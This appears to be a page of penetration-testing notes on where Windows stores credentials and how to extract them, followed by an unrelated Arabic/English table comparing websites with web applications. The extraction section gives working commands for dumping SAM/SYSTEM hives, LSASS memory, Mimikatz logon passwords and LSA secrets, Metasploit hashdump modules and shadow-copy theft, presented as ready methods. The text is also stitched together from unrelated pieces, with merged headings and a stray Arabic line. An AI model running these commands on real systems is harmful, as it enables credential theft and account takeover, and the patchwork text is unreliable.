Windows Password Storage Locations
موقع الويب يشبه كتيبًا إعلانيًا. تقرأ المعلومات المعروضة فيه.
1. SAM File (Local Accounts)#
Path: C:\Windows\System32\config\SAM
- Stores local user account hashes
- Locked while Windows is running
- Accessible via registry or from another OS
2. SYSTEM File#
Path: C:\Windows\System32\config\SYSTEM
- Contains the boot key to decrypt SAM
- Needed together with SAM file
3. LSASS Process (Memory)#
- Stores logged-in users' credentials in memory
- Includes plaintext passwords, tokens, tickets
4. NTDS.dit (Domain Controllers)#
Path: C:\Windows\NTDS\ntds.dit
- Active Directory database
- Contains all domain user hashes
5. Credential Manager#
Paths:
Windows Vault
C:\Users[Username]\AppData\Local\Microsoft\Vault
C:\Users[Username]\AppData\Roaming\Microsoft\Credentials\6. LSA Secrets (Registry)#
Registry: HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets
- Stores service accounts, auto-login passwords
7. Browser Passwords#
Chrome
C:\Users[Username]\AppData\Local\Google\Chrome\User Data\Default\Login Data
Firefox
C:\Users[Username]\AppData\Roaming\Mozilla\Firefox\Profiles[profile]\key4.dbHow to Extract Passwords#
Method 1: SAM & SYSTEM Files (Offline)#
## From another OS or using Volume Shadow Copy
reg save hklm\sam C:\temp\sam.save
reg save hklm\system C:\temp\system.save
## Then use secretsdump.py (Impacket)
secretsdump.py -sam sam.save -system system.save LOCALMethod 2: LSASS Dump (Online)#
## Create memory dump
tasklist | findstr lsass.exe
procdump.exe -ma lsass.exe lsass.dmp
## Or use Meterpreter
meterpreter > migrate to lsass
meterpreter > hashdumpMethod 3: Mimikatz (Most Famous)#
## Dump passwords from memory
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
mimikatz # lsadump::sam
## Dump LSA secrets
mimikatz # lsadump::secretsMethod 4: Metasploit Modules#
## In the meterpreter
## Various hash/password dumping modules
run post/windows/gather/smart_hashdump
run post/windows/gather/hashdump
run post/windows/gather/credentials/credential_collectorMethod 5: Volume Shadow Copy#
## Create shadow copy of C: drive
vssadmin create shadow /for=C:
## Copy SAM/SYSTEM from shadow copy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\temp\samPassword Hash Formats in#
LM Hash (Obsolete) All uppercase, split into two 7-character parts Easy to crack
NTLM Hash (Current) MD4 of UTF-16 little-endian password Example: aad3b435b51404eeaad3b435b51404ee
NTLMv2 Challenge-response protocol More secure than NTLM
الميزة موقع الويب (Website) تطبيق الويب (Web Application) الهدف الرئيسي عرض معلومات ثابتة للزائر. أداء مهام محددة والتفاعل مع المستخدم. التفاعلية ضعيفة. النقر على الروابط، ملء نموذج اتصال بسيط. عالية. وظائف معقدة مثل التحميل، التحرير، الحساب، إدارة البيانات. المحتوى غالبًا ثابت. نفسه لكل مستخدم (مثل صفحة "من نحن"). ديناميكي. المحتوى يتغير بناءً على مدخلات المستخدم وهويته (مثل newsfeed فيسبوك الخاص بك). التقنية أساسًا HTML, CSS, والقليل من JavaScript. تستخدم لغات من جانب الخادم (PHP, Python, Node.js, Java)، قواعد البيانات، و JavaScript معقد. أمثلة الصفحة الرئيسية لمطعم، مدونة، مقال إخباري. Gmail, Facebook, Twitter, الخدمات المصرفية عبر الإنترنت، Trello. تشبيه بسيط:
موقع الويب يشبه كتيبًا إعلانيًا. تقرأ المعلومات المعروضة فيه.
تطبيق الويب يشبه ورشة عمل. تذهب إلى هناك لـتفعل شيئًا، تستخدم الأدوات، وتخلق شيئًا.
لماذا هذا مهم في اختبار الاختراق:
مواقع الويب لها أسطح هجوم أقل (غالبًا خادم الويب نفسه).
تطبيقات الويب لها surface attack (سطح هجوم) هائل (مدخلات المستخدم، قواعد البيانات، المصادقة، الجلسات، إلخ)، مما يجعلها هدفًا أغنى بكثير لمختبري الاختراق.
Feature Website Web Application Primary Goal Display static information to the visitor. Perform specific tasks and interact with the user. Interactivity Low. Clicking links, filling out a simple contact form. High. Complex functions like uploading, editing, calculating, managing data. Content Mostly static. The same for every user (e.g., "About Us" page). Dynamic. Content changes based on user input and identity (e.g., your Facebook feed). Technology Primarily HTML, CSS, and a bit of JavaScript. Uses server-side languages (PHP, Python, Node.js, Java), databases, and complex JavaScript. Examples A restaurant's homepage, a blog, a news article. Gmail, Facebook, Twitter, Online Banking, Trello. Simple Analogy:
A website is like a brochure. You read the information it presents.
A web application is like a workshop. You go there to do something, use tools, and create something.